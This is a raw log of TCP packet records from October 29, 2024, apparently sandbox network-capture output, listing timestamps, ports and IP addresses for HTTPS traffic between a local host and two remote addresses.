Oct 29, 2024 10:47:15.154392958 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.154542923 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.154597044 CET	49759	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.154797077 CET	49759	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.154812098 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.159183025 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.159214973 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.159445047 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.159637928 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.159651041 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.194922924 CET	443	49760	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.195077896 CET	443	49760	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.195156097 CET	49760	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.196919918 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.196971893 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.197019100 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.197057009 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.197068930 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.197094917 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.197113991 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.197138071 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.197201014 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.197213888 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.197243929 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.201828957 CET	49760	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.201847076 CET	443	49760	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.213968039 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.213999987 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.214152098 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.214940071 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.214957952 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.215497017 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.215533972 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.215614080 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.215753078 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.215809107 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.215847969 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.215879917 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.215955019 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.215993881 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.216150045 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.216206074 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.216233969 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.216341972 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.216427088 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.216483116 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.216497898 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.216619015 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.229857922 CET	49771	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.229899883 CET	443	49771	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.230170012 CET	49771	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.230375051 CET	49771	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.230391026 CET	443	49771	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.240334034 CET	443	49766	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.240724087 CET	49766	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.240813017 CET	443	49766	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.242235899 CET	443	49766	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.242332935 CET	49766	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.242945910 CET	49766	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.243041992 CET	443	49766	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.243074894 CET	49766	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.283373117 CET	443	49766	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.284712076 CET	49766	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.284773111 CET	443	49766	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.333851099 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.334080935 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.334146976 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.334167004 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.334194899 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.334244967 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.334300995 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.334804058 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.334887981 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.334889889 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.334965944 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.335117102 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.335180044 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.335206985 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.335258961 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.335616112 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.335762024 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.335808992 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.335824013 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.335911989 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.336497068 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.336544037 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.336569071 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.336627960 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.336638927 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.336733103 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.336813927 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.336865902 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.336889029 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.336937904 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.339255095 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.345541954 CET	49766	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.365215063 CET	443	49763	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:15.388259888 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.407649040 CET	49763	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:15.452948093 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.453098059 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.453161001 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.453185081 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.453290939 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.453341007 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.453355074 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.453514099 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.453617096 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.453670979 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.453694105 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.453804016 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.453860044 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.453871012 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.453934908 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.453946114 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.453993082 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.454050064 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.454061985 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.454092979 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.454128981 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.454163074 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.454194069 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.454279900 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.454341888 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.454354048 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.454767942 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.454824924 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.454837084 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.454864979 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.454896927 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.454927921 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.454956055 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.454956055 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.455003977 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.455025911 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.455077887 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.455713034 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.455775976 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.455812931 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.455868006 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.455898046 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.455980062 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.486605883 CET	443	49766	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.486777067 CET	443	49766	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.487031937 CET	49766	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.494323969 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.494400024 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.572393894 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.572495937 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.572546959 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.572613001 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.572665930 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.572743893 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.572798014 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.572871923 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.572901011 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.572951078 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.572998047 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.573054075 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.573132992 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.573194981 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.573446035 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.573539019 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.573571920 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.573632956 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.573673964 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.573739052 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.573772907 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.573857069 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.573864937 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.573895931 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.573926926 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.573952913 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.574529886 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.574596882 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.574680090 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.574742079 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.574775934 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.574841022 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.574867010 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.574923038 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.574959993 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.575016975 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.575426102 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.575488091 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.575517893 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.575584888 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.575630903 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.575695038 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.575723886 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.575786114 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.575805902 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.575870991 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.576484919 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.576576948 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.576601028 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.576678038 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.576699018 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.576764107 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.576792955 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.576927900 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.609630108 CET	49763	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:15.609692097 CET	443	49763	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:15.613337994 CET	443	49763	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:15.613429070 CET	49763	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:15.613461971 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.613537073 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.613578081 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.613636971 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.655073881 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.665857077 CET	49763	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:15.666105032 CET	443	49763	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:15.666647911 CET	49763	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:15.666675091 CET	443	49763	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:15.690665007 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.690773010 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.690963030 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.690983057 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.691020012 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.691040993 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.691086054 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.691113949 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.691173077 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.691390038 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.691435099 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.691456079 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.691471100 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.691509962 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.691530943 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.691963911 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.692007065 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.692048073 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.692076921 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.692104101 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.692131996 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.692452908 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.692495108 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.692524910 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.692537069 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.692568064 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.692598104 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.696126938 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.696171999 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.696204901 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.696218014 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.696247101 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.696264982 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.696706057 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.696748018 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.696789026 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.696799994 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.696845055 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.696845055 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.697645903 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.697688103 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.697735071 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.697746992 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.697774887 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.697793007 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.697830915 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.697886944 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.697958946 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.697958946 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.697973013 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.698029041 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.698045015 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.698098898 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.698110104 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.698185921 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.698468924 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.715643883 CET	49763	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:15.743841887 CET	443	49767	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.764884949 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.782996893 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.794647932 CET	49767	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.810645103 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.826658010 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.837235928 CET	443	49771	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.840888023 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.881484985 CET	49771	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.882730007 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.903604031 CET	443	49763	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:15.903846025 CET	443	49763	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:15.903918982 CET	49763	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:15.959242105 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.959278107 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.959372997 CET	49771	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.959391117 CET	443	49771	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.959605932 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.959610939 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.959871054 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.959892988 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.960063934 CET	49767	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.960124969 CET	443	49767	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.960452080 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.960886955 CET	443	49771	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.960952997 CET	49771	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.961463928 CET	443	49767	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.963486910 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.963560104 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.963577032 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.963632107 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.010309935 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.016936064 CET	49767	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.149038076 CET	49767	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.149420023 CET	443	49767	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.150670052 CET	49771	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.150844097 CET	443	49771	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.151221037 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.151479959 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.151499987 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.151745081 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.151926041 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.152101994 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.152365923 CET	49767	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.152614117 CET	49771	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.152637959 CET	443	49771	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.152678967 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.152761936 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.152775049 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.152785063 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.152801991 CET	443	49770	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.171780109 CET	49766	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.171819925 CET	443	49766	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.181016922 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.186930895 CET	49763	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:16.186950922 CET	443	49763	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:16.193970919 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.193994999 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.195133924 CET	49771	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.195133924 CET	49769	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.195357084 CET	443	49767	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.195385933 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.195422888 CET	49770	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:16.391531944 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.391619921 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.391655922 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.391680956 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.391704082 CET	443	49769	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:16.391747952 CET	49769	443	192.168.2.4	104.21.57.143
